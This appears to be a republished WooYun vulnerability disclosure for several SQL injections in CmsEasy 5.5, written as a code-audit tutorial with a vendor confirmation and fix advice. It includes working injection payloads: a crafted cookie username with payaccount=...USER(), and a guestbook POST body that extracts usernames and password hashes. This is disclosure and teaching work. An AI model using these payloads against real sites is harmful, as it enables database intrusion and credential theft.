CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

admin 2015年4月21日02:02:57评论443 views字数 259阅读0分51秒阅读模式
摘要

2014-07-05: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-03: 细节向公众公开

漏洞概要 关注数(61) 关注此漏洞

缺陷编号: WooYun-2014-67526

漏洞标题: CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位 CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

相关厂商: cmseasy

漏洞作者: xfkxfkCmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

提交时间: 2014-07-05 17:55

公开时间: 2014-10-03 17:56

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 第三方不可信程序 php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

21人收藏


漏洞详情

披露状态:

2014-07-05: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-03: 细节向公众公开

简要描述:

CmsEasy5.x——CmsEasy_5.5_UTF-8_20140605.rar
通过一晚上分析,找到一处SQL注入
然后用了一早上分析这个注入点,找到多处
为了不刷RANK,免得一个一个提交麻烦,就全部提交了
附上如何通过一个问题点,快速的找到多个同样问题的漏洞点并利用
估计这是大牛在用,或者已经不用的方法,这里只是抛砖引玉,多多交流

详细说明:

首先来看看union_act.php:

code 区域
function register_action() {
$r = $this->_union->getrow(array('userid'=>$this->view->data['userid']));
if($r) {
echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>';
front::refresh(url::create('union/stats'));
}
if(front::post('submit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!'));
return;
}
}
if(front::post('nickname') != strip_tags(front::post('nickname'))
||front::post('nickname') != htmlspecialchars(front::post('nickname'))
) {
front::flash(lang('姓名不规范!'));
return;
}
if(strlen(front::post('nickname'))<4) {
front::flash(lang('请填写认真填写真实姓名!'));
return;
}
if(strlen(front::post('payaccount'))<1) {
front::flash(lang('请填写支付账号!'));
return;
}
if(strlen(front::post('tel'))<1) {
front::flash(lang('请填写联系电话!'));
return;
}
if(strlen(front::post('address'))<1) {
front::flash(lang('请填写联系地址!'));
return;
}
……省略……
$userarr = array();
$userarr['nickname'] = front::$post['nickname'];
$userarr['tel'] = front::$post['tel'];
$userarr['address'] = front::$post['address'];
//$userarr['e_mail'] = front::$post['e_mail'];
$unionarr = array();
$unionarr['userid'] = $this->view->data['userid'];
$unionarr['username'] = $this->view->data['username'];
$unionarr['payaccount'] = front::$post['payaccount'];
$unionarr['website'] = front::$post['website'];
$unionarr['profitmargin'] = union::getconfig('profitmargin');
$unionarr['regtime'] = time();
$unionarr['regip'] = front::ip();
$unionarr['passed'] = 1;
//var_dump($unionarr);
if(front::post('nickname') &&$this->view->data['userid']) {
$insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']);
$insert1 = $this->_union->rec_insert($unionarr);
if($insert &&$insert1) front::flash(lang('申请成功!'));
else {
front::flash(lang('申请失败!'));
return;
}
front::redirect(url::create('union/stats'));
exit;
}
else {
front::flash(lang('申请失败!'));
return;
}
}
}

注意这里:

$insert1 = $this->_union->rec_insert($unionarr);

我们来看看rec_insert的处理:

code 区域
function sql_delete($tbname,$where) {
$this->condition($where);
return "DELETE FROM `".$tbname."` WHERE ".$where;
}

function sql_insert($tbname,$row) {
$sqlfield='';
$sqlvalue='';
foreach ($row as $key=>$value) {
if (in_array($key,explode(',',$this->getcolslist()))) {
$value=$value;
$sqlfield .= $key.",";
$sqlvalue .= "'".$value."',";
}
}
return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")";
}

最后直接进入INSERT INTO,进入SQL语句

大家知道这里的front::$post取出来的内容都是被过滤,转义的内容,所以没办法利用

我们来看看$this->view->data['username']这个内容是什么

还是union_act.php文件:

code 区域
function init() {
if(!union::getconfig('enabled')) {
echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>';
front::refresh(url::create('user/index'));
}
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
var_dump(cookie::get('login_username'));
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){
front::redirect(url::create('user/login'));
}else{
if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) {
$this->view->user = $user;
$this->view->usergroupid = $user['groupid'];
$obj = new usergroup();
$this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid));
}
}
$this->_user=new user;
$this->view->form = $this->_user->get_form();
$this->view->field = $this->_user->getFields();
$this->view->primary_key=$this->_user->primary_key;
$this->view->data = $this->view->user;
$this->_union = new union();
$this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid']));
if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') {
echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>';
//front::refresh(url::create('union/register'));
}
$this->_pagesize=config::get('manage_pagesize');
}

注意这几处关系:

$user=$user->getrow(array('username'=>cookie::get('login_username')));

$this->view->user = $user;

$this->view->data = $this->view->user;

所以由上面三处赋值关系可以看到

$this->view->data就是当前登录用户的用户属性信息。

所以到这里我们来想一想:

要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠/,那么就可能导致SQL注入。

带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。

来看看user_act.php,看看用户注册是带入的用户信息:

code 区域
function register_action() {
……省略……
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$e_mail=front::post('e_mail');
$tel=front::post('tel');
$data=array(
'username'=>$username,
'password'=>$password,
'e_mail'=>$e_mail,
'tel'=>$tel,
'groupid'=>101,
'userip'=>front::ip()
);
//phpox 2011-06-10
foreach($this->view->field as $f){
$name=$f['name'];
if(!preg_match('/^my_/',$name)) {
unset($field[$name]);
continue;
}
if(!setting::$var['user'][$name]['showinreg']) {
continue;
}
$data[$name] = front::post($name);
}
if($this->_user->getrow(array('username'=>$username))) {
front::flash(lang('该用户名已被注册!'));
return;
}
……省略……
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
front::redirect(url::create('user'));
exit;

可以看到这里的用户名username直接赋给了cookie[login_username]

通过测试,我们发现在注册是用户名username处可以注册反斜杠“/”,如图:

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

code 区域
所以通过上面的分析与测试得出结论:
1、 注册一个用户,用户名中带反斜杠,如:222222/;
2、 登陆后,此用户的用户名进入cookie[login_username];
3、 在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this->view->data;
4、 在注册时,没有处理$this->view->data[‘username’],$this->view->data[‘username’]直接进入INSERT INTO SQL语句;
5、 由于用户名username中有反斜杠’/’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username/’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。

然后我们来证明漏洞:

首先注册推广联盟:

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

然后抓包,此时cookie中的cookie[login_username]为222222//,这里修改为222222/

然后修改postdata中payaccount=,222222,USER(),2,1111111,1111111,11)#

然后提交。

数据库执行记录:

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

最后看看注册推广联盟后的资料:

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

Website字段的内容已经被修改为user()的值了!

=========================================华丽的分割线=====================================

通过对cmseasy的代码审计发现此问题不知一处,存在多处

问题的原理都是一样username直接进入SQL语句,但是之间的关系和利用却不一样。

下面我们来看看如何快速找出同一问题引发的大面积问题及漏洞点

也就是我们要说的如何从找到一处SQL注入漏洞到多处SQL注入漏洞。

首先我们上面分析的推广联盟注册处的SQL注入漏洞中,可以看到:

第一, 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;

第二, 此user的属性信息$this->view->user[‘username’]被赋给了某一变量,然后进入了数据库。

那么我们先来搜索取出用户信息的文件,去掉admin文件:

全局搜索:$user=$user->getrow(array('username'=>cookie::get('login_username')))内容

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

下来看看取出user的信息是否付给$this->view->user,去掉admin文件

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

然后来看看$this->view->user[‘username’]被赋值的情况,去掉admin文件

全局搜索=$this->view->user['username'],记得有个=号

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

最后集合三次的搜索,满足两个条件的文件有:

Guestbook_cat.php、mamage_act.php文件

来看看guestbook_act.php文件,是否存在SQL注入漏洞

code 区域
function init() {
……
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
$this->view->user=$user;
……
取出了user的属性信息,并赋给了$this->view->user
function index_action() {
……
front::$post['checked']=0;
if(empty($this->view->user)) {
front::$post['userid']=0;
front::$post['username']='Óοͣº'.front::$post['nickname'];
}else {
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
if (!get_magic_quotes_gpc()) {
front::$post['content'] = front::$post['content'];
}
front::$post['title']=strip_tags(front::$post['title']);
$data=front::$post;
$insert=$this->_table->rec_insert($data);

这里在留言时:

front::$post['username']=$this->view->user['username'];

然后

$data=front::$post;

$insert=$this->_table->rec_insert($data);

最后$this->view->user['username']进入了rec_insert

在rec_insert中进入了SQL语句,没有处理,导致了同样的SQL注入漏洞

只要在留言时,修改留言内容为:

guesttel=333333&nickname=333333&guestemail=333333&guestqq=333333&title=333333&username=333333&content=,(SELECT CONCAT(USERNAME,0x23,PASSWORD) FROM cmseasy_user WHERE LIMIT 0,1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+

然后在留言内容中就可得到用户账户信息。

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

结论:

成功找到一处SQL注入漏洞

再来看看另外一个文件manage_act.php文件

code 区域
function init() {
$user='';
$guest = front::get('guest');
if($guest=='1'&&config::get('opguestadd')) {
$user = 'Guest';
}else {
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
}
……
$this->view->user=$user;

取出了user的属性信息,并赋给了$this->view->user

在会员中心,内容管理处:

code 区域
function add_action() {
if(front::post('submit') &&$this->manage->vaild()) {
$this->manage->filter();
$this->manage->save_before();
front::$post['checked']=0;
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
front::$post['author']=$this->view->user['username'];
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
$data=array();
……
$data=array_merge($data,front::$post);
$insert=$this->_table->rec_insert($data);

注意这里:

front::$post['username']=$this->view->user['username'];

front::$post['author']=$this->view->user['username'];

$data=array_merge($data,front::$post);

$insert=$this->_table->rec_insert($data);

最后$this->view->user['username']也进入了数据库,也导致了SQL注入。

具体构造就不给出了。

结论:

成功找到一处SQL注入漏洞

下面我们再来扩展:

第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;

第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]被赋给了某一变量,然后进入了数据库。

第三、 在搜索赋值操作时,如全局搜索:$this->view->user=$user时,再搜索一次

$this->view->user = $user,注意这里=号两边的空格

然后根据上面的步骤,我们来验证一下:

全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))

全局搜索:

$this->view->user = $user以及$this->view->user=$user

然后继续全局搜索

=$this->view->user以及= $this->view->user

最后全局搜索

= $this->view->data['username']以及$this->view->data['username']

最后又搜索到union_act.php文件

正如我们最开始分析的推广联盟注册时的漏洞一样!

结论:

成功找到一处SQL注入漏洞

下面我们再来一次扩展:

第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;

第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]通过拼接赋给一个变量,或者直接进入SQL语句

第三、 如xxx.$this->view->user['username'].yyy

下面我们来验证一下:

全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))

全局搜索:

$this->view->user = $user以及$this->view->user=$user

最后全局搜索

.$this->view->user['username']以及$this->view->user['username'].

最后又能搜到vote_act.php

code 区域
function init() {
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
if(is_array($user) &&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this->view->user=$user;
var_dump($this->view->user);
$this->view->usergroupid=$user['groupid'];
}
}

然后再投票时:

code 区域
function do_action() {
……
$vote_data=array_merge($_vote,array('votes'=>$votes,'aid'=>front::post('aid'),'users'=>$_vote['users'].$this->view->user['username'].','));
$vote->rec_replace($vote_data,front::post('aid'));
front::flash(lang('ͶƱ³É¹¦£¡'));

可以看打开$this->view->user['username']通过拼接进入$vote_data数组

然后$vote_data数字进入rec_replace,进入SQL语句

但是这里$this->view->user['username']在拼接时,最后面加上了一个逗号:

'users'=>$_vote['users'].$this->view->user['username'].','

这样的话,username的反斜杠就数去对单引号的注释作用了。

结论:

成功找到一处SQL注入问题点,但是无法利用,漏洞查找失败!

总结:

通过上面的方法首先找到一处注入点,分析此问题的出发点及原理,以及整个过程的利用

然后通过整个过程中的关键字匹配,快速找到其他问题点,快速找到漏洞!

漏洞证明:

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

修复方案:

注册是用户信息及其他用户输入的特殊字符严格处理

进入数据库时严格过滤处理

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:54

厂商回复:

感谢,理解修正

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-07-05 17:55 | ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子, 但是除了他华...)

    1

    前排关注个

  2. 2014-07-05 17:59 | Manning ( 普通白帽子 | Rank:1181 漏洞数:144 | https://github.com/manning23/MSpider)

    0

    关注下思路

  3. 2014-07-05 18:02 | phith0n CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位 ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    mark一下快速定位

  4. 2014-07-05 18:04 | 屎蛋 ( 路人 | Rank:8 漏洞数:2 | boom)

    0

    mark

  5. 2014-07-05 18:15 | study_vul ( 实习白帽子 | Rank:62 漏洞数:9 | 我有乌云id了,我马上就要牛叉起来了)

    1

    等着看大牛

  6. 2014-07-05 18:38 | 梧桐雨 CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位 ( 核心白帽子 | Rank:1662 漏洞数:191 | 学无止境)

    1

    mark

  7. 2014-07-05 19:00 | HackBraid CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位 ( 核心白帽子 | Rank:1914 漏洞数:304 | 最近有人冒充该账号行骗,任何自称HackBrai...)

    0

    mark,跪了

  8. 2014-07-05 19:52 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)

    0

    mark 看大师手法

  9. 2014-07-05 20:37 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    0

    偶像又开始刷人民币了,围观下

  10. 2014-07-05 21:50 | YouYaX(乌云厂商)

    0

    做软件越来越不值钱了,cmseasy授权也就才300元

  11. 2014-07-05 23:23 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    0

    mark 看大湿手法

  12. 2014-07-05 23:27 | Hero ( 普通白帽子 | Rank:162 漏洞数:53 | 药药切克闹,充气娃娃迷幻药)

    0

    @YouYaX 厂商这么活跃!

  13. 2014-07-10 10:04 | 白非白 CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位 ( 普通白帽子 | Rank:559 漏洞数:85 | ♫ Freedom - Anthony Hamilton ♫)

    0

    mark

  14. 2014-07-10 12:41 | 好好吃饭天天向上 ( 路人 | Rank:5 漏洞数:1 | 漏洞是什么!?)

    0

    同样是cmseasy,为什么差别这么大咧

  15. 2014-08-06 15:13 | magerx ( 普通白帽子 | Rank:261 漏洞数:46 | 别说话。)

    0

    赞一下

  16. 2014-08-20 16:36 | x44s ( 普通白帽子 | Rank:136 漏洞数:16 | boom)

    0

    十万个赞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin